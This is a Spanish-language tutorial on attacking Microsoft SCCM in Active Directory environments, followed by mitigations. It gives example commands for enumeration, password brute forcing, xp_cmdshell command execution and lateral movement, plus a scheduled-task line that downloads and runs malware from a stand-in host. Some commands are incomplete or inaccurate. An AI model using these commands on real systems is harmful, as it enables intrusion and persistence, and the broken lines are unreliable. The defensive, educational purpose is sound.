Ataques de Active Directory en resumen 13 – Microsoft System Center Configuration Manager

Microsoft System Center Configuration Manager (SCCM)

Microsoft System Center Configuration Manager (SCCM) es una herramienta de gestión integral que permite a los administradores de TI gestionar grandes grupos de sistemas operativos Windows. Debido a su capacidad para desplegar software, actualizaciones y configuraciones, SCCM es un objetivo atractivo para los atacantes. A continuación, se detallan las técnicas más comunes para comprometer SCCM en un entorno de Active Directory (AD), junto con ejemplos prácticos de explotación y medidas de mitigación.

1. Enumeración de SCCM

La enumeración es el primer paso para comprometer SCCM. Los atacantes pueden utilizar diversas herramientas y técnicas para identificar instancias de SCCM y obtener información sobre su configuración.

Ejemplo de explotación:

1. Enumeración utilizando PowerShell:

   Get-WmiObject -Namespace "root\SMS\site_" -Query "SELECT * FROM SMS_ProviderLocation"

   Este comando obtiene información sobre la ubicación del proveedor de SMS en SCCM.

2. Enumeración utilizando SQL Server:

   SELECT * FROM vSMSProvider

   Este comando SQL se puede ejecutar en la base de datos de SCCM para obtener información sobre los proveedores de SMS.

2. Ataques de Fuerza Bruta y Password Spraying

Una vez identificadas las instancias de SCCM, los atacantes pueden intentar ataques de fuerza bruta o password spraying para obtener acceso.

Ejemplo de explotación:

1. Ataque de fuerza bruta utilizando sqlcmd:

   sqlcmd -S  -U  -P 

   Los atacantes pueden automatizar este proceso con scripts para probar múltiples combinaciones de usuario y contraseña.

2. Password spraying utilizando PowerShell:

   Invoke-SQLBrute -UserList C:\users.txt -PasswordList C:\passwords.txt -Instance 

   Este comando intenta múltiples combinaciones de usuario y contraseña contra una instancia de SQL Server utilizada por SCCM.

3. Abuso de Configuraciones Inseguras

Las configuraciones inseguras, como la autenticación mixta (Windows y SQL Server), pueden ser explotadas por los atacantes para obtener acceso no autorizado.

Ejemplo de explotación:

1. Autenticación mixta:

   sqlcmd -S  -U sa -P 

   Si la cuenta sa tiene una contraseña débil, los atacantes pueden obtener acceso administrativo al servidor SQL utilizado por SCCM.

4. Ejecución de Comandos y Movimientos Laterales

Una vez que los atacantes han obtenido acceso a SCCM, pueden ejecutar comandos y moverse lateralmente dentro de la red.

Ejemplo de explotación:

1. Ejecución de comandos utilizando xp_cmdshell:

   EXEC xp_cmdshell 'whoami';

   Este comando ejecuta whoami en el servidor SQL y devuelve el resultado.

2. Movimiento lateral utilizando xp_cmdshell:

   EXEC xp_cmdshell 'net use \\otro_servidor\recurso_compartido /user:dominio\usuario contraseña';

   Este comando monta un recurso compartido en otro servidor, permitiendo el movimiento lateral.

5. Persistencia mediante Scripts y Tareas Programadas

Los atacantes pueden establecer mecanismos de persistencia en SCCM mediante la creación de scripts y tareas programadas.

Ejemplo de explotación:

1. Creación de un script malicioso:

   New-ScheduledTaskAction -Execute 'PowerShell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri http://malicious.com/malware.exe -OutFile C:\malware.exe; Start-Process C:\malware.exe"'

   Este script crea una tarea programada que descarga y ejecuta un archivo malicioso.

Medidas de Mitigación

Para proteger SCCM contra estas técnicas de explotación, se pueden implementar las siguientes medidas:

1. Deshabilitar xp_cmdshell si no es necesario:

   EXEC sp_configure 'show advanced options', 1;
   RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell', 0;
   RECONFIGURE;

2. Utilizar autenticación de Windows en lugar de autenticación mixta.

3. Implementar políticas de contraseñas fuertes y autenticación multifactor (MFA).

4. Monitorear y auditar regularmente las actividades en SCCM.

5. Configurar alertas para detectar actividades sospechosas, como la creación de scripts o tareas programadas no autorizadas.

6. Aplicar las mejores prácticas de seguridad para la configuración de SCCM, como se detalla en la documentación oficial de Microsoft y en informes de mejores prácticas de seguridad.

En conclusión, SCCM es una herramienta crítica en muchos entornos de Active Directory, pero también puede ser un vector de ataque significativo si no se configura y mantiene adecuadamente. Los administradores deben estar conscientes de estas técnicas de explotación y tomar medidas proactivas para proteger sus infraestructuras de gestión.